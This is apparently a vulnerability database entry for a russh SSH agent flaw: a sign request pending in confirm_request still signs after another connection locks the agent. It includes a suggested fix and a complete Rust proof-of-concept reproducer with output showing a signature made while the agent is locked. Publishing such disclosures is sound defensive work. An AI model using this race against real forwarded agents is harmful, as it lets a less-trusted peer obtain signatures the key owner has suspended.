Vulnerability DatabaseGHSA-v3vc-7662-5hv7

GHSA-v3vc-7662-5hv7: 
Rust vulnerability analysis and mitigation

Summary

GHSA-736f-c93q-9fwx (CVE-2026-128088, fixed in 0.65.1) covered a sign request that is waiting in Agent::confirm() when another connection locks the agent. When the confirmation then resolved, the request still produced a signature. The 0.65.1 fix re-reads the lock only inside try_sign(), after Agent::confirm(), and only for keys that carry the confirm constraint. The other per-request approval hook, Agent::confirm_request(MessageType::Sign), is also awaited, and it is awaited after the lock state has been snapshotted. Nothing re-checks the lock after that await. A sign request for an ordinary key (no -c constraint) that is pending in confirm_request therefore still signs after another connection has locked the agent and received SUCCESS.

Details

russh/src/keys/agent/server.rs at v0.65.1:

  • L130-137: respond() reads the shared lock once into is_locked.
  • L157-160: the sign arm is guarded by !is_locked && agentref.confirm_request(MessageType::Sign).await. The guard uses the stale is_locked and then awaits the application's confirm_request future.
  • L330-387: try_sign() re-checks locked || !present only inside the if needs_confirm { ... } block (L349-369), which the GHSA-736f fix added. Keys without Constraint::Confirm go straight to sign_with_hash_alg with no re-check. The 0.65.1 advisory text quotes this same is_locked / confirm_request(Sign).await guard, but the fix covered only the confirm() await. The application cannot close this gap inside its own callback. Lock and KeyStore are private to

serve(), so a confirm_request implementation cannot see whether the agent was locked while it was waiting. The same stale snapshot also governs the other message types. While confirm_request(Lock) is pending for two connections, both LOCKs pass the !is_locked guard. lock() (L240-245) then appends the second password to the first. The result is a lock that neither "a" nor "b" opens, only "ab". REQUEST_IDENTITIES, ADD, REMOVE and REMOVE_ALL likewise complete after a concurrent LOCK. These cases are minor. The impact is the signature. Suggested fix Re-read the shared lock after every confirm_request await, not only after confirm(). The simplest form: in try_sign(), check locked || !present unconditionally, both before signing and after the optional confirm(). In respond(), re-evaluate the lock after confirm_request(..) resolves for every message type, or take the lock state after the await instead of before it. lock() should refuse, or replace rather than append, when a password is already set. A regression test like the existing sign_is_rejected_when_locked_during_confirm, but with the wait placed in confirm_request, would cover this.

Proof of concept

Self-contained reproducer: one src/main.rs. It runs the public russh::keys::agent::server::serve() with an Agent whose confirm_request waits on a tokio::sync::Notify for MessageType::Sign (standing in for an "allow this request?" prompt), and talks to it with raw agent frames over in-memory tokio::io::duplex connections A, B and C. confirm() is left at its default and the key has no constraints. Cargo.toml:

[package]
name = "agent-confirm-request-lock-race"
version = "0.1.0"
edition = "2021"
[dependencies]
russh = "=0.65.1"
tokio = { version = "1", features = ["full"] }
futures = "0.3"

src/main.rs:

//! russh 0.65.1 agent server: the lock state is read before the Agent::confirm_request(Sign) await
//! and never re-checked, so a sign request pending in confirm_request still signs after LOCK.
use std::sync::Arc;
use futures::StreamExt;
use russh::keys::agent::server::{serve, Agent, MessageType};
use russh::keys::signature::Verifier;
use russh::keys::ssh_encoding::{Decode, Encode};
use russh::keys::ssh_key::{private::{Ed25519Keypair, KeypairData}, public::KeyData, Signature};
use tokio::io::{AsyncReadExt, AsyncWriteExt, DuplexStream};
use tokio::sync::Notify;
/// An agent with a per-request approval prompt ("allow this signature?").
#[derive(Clone)]
struct Prompting { entered: Arc<Notify>, release: Arc<Notify> }
impl Agent for Prompting {
    fn confirm_request(&self, msg: MessageType) -> impl std::future::Future<Output = bool> + Send {
        let (e, r) = (self.entered.clone(), self.release.clone());
        async move {
            if let MessageType::Sign = msg { e.notify_one(); r.notified().await; } // wait for the user
            true
        }
    }
}
fn s(v: &[u8]) -> Vec<u8> { let mut o = (v.len() as u32).to_be_bytes().to_vec(); o.extend_from_slice(v); o }
async fn send(c: &mut DuplexStream, body: &[u8]) { c.write_all(&s(body)).await.unwrap(); }
async fn recv(c: &mut DuplexStream) -> Vec<u8> {
    let mut h = [0u8; 4]; c.read_exact(&mut h).await.unwrap();
    let mut b = vec![0u8; u32::from_be_bytes(h) as usize]; c.read_exact(&mut b).await.unwrap(); b
}
fn sign_req(blob: &[u8], data: &[u8]) -> Vec<u8> { let mut b = vec![13u8]; b.extend(s(blob)); b.extend(s(data)); b.extend(0u32.to_be_bytes()); b }
#[tokio::main(flavor = "current_thread")]
async fn main() {
    let (entered, release) = (Arc::new(Notify::new()), Arc::new(Notify::new()));
    let (tx, mut rx) = tokio::sync::mpsc::unbounded_channel::<std::io::Result<DuplexStream>>();
    tokio::spawn(serve(futures::stream::poll_fn(move |cx| rx.poll_recv(cx)).boxed(),
        Prompting { entered: entered.clone(), release: release.clone() }));
    let connect = || { let (a, b) = tokio::io::duplex(1 << 16); tx.send(Ok(b)).unwrap(); a };
    let (mut a, mut b, mut c) = (connect(), connect(), connect());
    // A: SSH_AGENTC_ADD_IDENTITY, Ed25519 key, no constraints.
    let kp = Ed25519Keypair::from_seed(&[7; 32]);
    let mut blob = Vec::new(); KeyData::Ed25519(kp.public).encode(&mut blob).unwrap();
    let mut add = vec![17u8]; KeypairData::Ed25519(kp).encode(&mut add).unwrap(); add.extend(s(b"comment"));
    send(&mut a, &add).await;
    println!("A add_identity          -> {:?}", recv(&mut a).await);
    // A: SIGN_REQUEST; the approval prompt is now open.
    send(&mut a, &sign_req(&blob, b"to-be-signed")).await;
    entered.notified().await;
    println!("A sign_request          -> confirm_request(Sign) pending");
    // B: LOCK while the prompt is open.
    let mut lock = vec![22u8]; lock.extend(s(b"lockpw"));
    send(&mut b, &lock).await;
    println!("B lock(\"lockpw\")        -> {:?}  (6 = SUCCESS, agent now locked)", recv(&mut b).await);
    // Control: a fresh SIGN_REQUEST after the lock is refused.
    send(&mut c, &sign_req(&blob, b"post-lock")).await;
    println!("C fresh sign after lock -> {:?}  (5 = FAILURE)", recv(&mut c).await);
    // The user approves the stale prompt.
    release.notify_one();
    let r = recv(&mut a).await;
    println!("A sign response type    -> {} ({} bytes)  {}", r[0], r.len(),
        if r[0] == 14 { "SIGN_RESPONSE: signed while LOCKED" } else { "refused" });
    if r[0] == 14 {
        let sig_blob = <Vec<u8>>::decode(&mut &r[1..]).unwrap();
        let sig = Signature::decode(&mut &sig_blob[..]).unwrap();
        let pk = russh::keys::ssh_key::PublicKey::from_bytes(&blob).unwrap();
        println!("A signature verifies under the agent key: {}", pk.key_data().verify(b"to-be-signed", &sig).is_ok());
    }
    let mut unlock = vec![23u8]; unlock.extend(s(b"lockpw"));
    send(&mut b, &unlock).await;
    println!("B unlock(\"lockpw\")      -> {:?}  (6 = SUCCESS => it was locked)", recv(&mut b).await);
}

Run cargo run --release. Output on 0.65.1:

A add_identity          -> [6]
A sign_request          -> confirm_request(Sign) pending
B lock("lockpw")        -> [6]  (6 = SUCCESS, agent now locked)
C fresh sign after lock -> [5]  (5 = FAILURE)
A sign response type    -> 14 (88 bytes)  SIGN_RESPONSE: signed while LOCKED
A signature verifies under the agent key: true
B unlock("lockpw")      -> [6]  (6 = SUCCESS => it was locked)

The fresh sign request on C (control) is refused, and the final UNLOCK succeeds, so the agent was locked throughout. Expected: once LOCK has returned SUCCESS, A's pending request returns SSH_AGENT_FAILURE (5), as it already does for a key with the confirm constraint after the GHSA-736f-c93q-9fwx fix.

Impact

The affected applications are russh-based SSH agents that implement an asynchronous Agent::confirm_request, for example a per-request approval prompt, and whose sign requests can come from a less-trusted peer, for example an agent forwarded to a remote SSH server. The peer can start a sign request while the agent is unlocked and leave it pending in confirm_request. After the user locks the agent, which RFC 9987 section 5.7 says suspends private-key operations, an approval of the stale prompt still returns a signature. The default confirm_request (async { true }) has no await window and is not affected. This is the same precondition class as GHSA-736f, which required an asynchronous confirm().


Source: NVD

Related Rust vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

GHSA-xm3f-jwj9-3x8mMEDIUM4.5
  • Rust logoRust
  • russh-config
NoYesNov 21, 2026
GHSA-m6v5-wqxv-mffhMEDIUM4.3
  • Rust logoRust
  • russh
NoYesNov 21, 2026
GHSA-66vf-xq4p-pg7qLOW3.7
  • Rust logoRust
  • russh
NoYesNov 21, 2026
GHSA-7qgr-cjxw-6vjfLOW3.1
  • Rust logoRust
  • russh
NoYesNov 21, 2026
GHSA-v3vc-7662-5hv7LOWN/A
  • Rust logoRust
  • russh
NoYesNov 21, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Additional Wiz resources

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management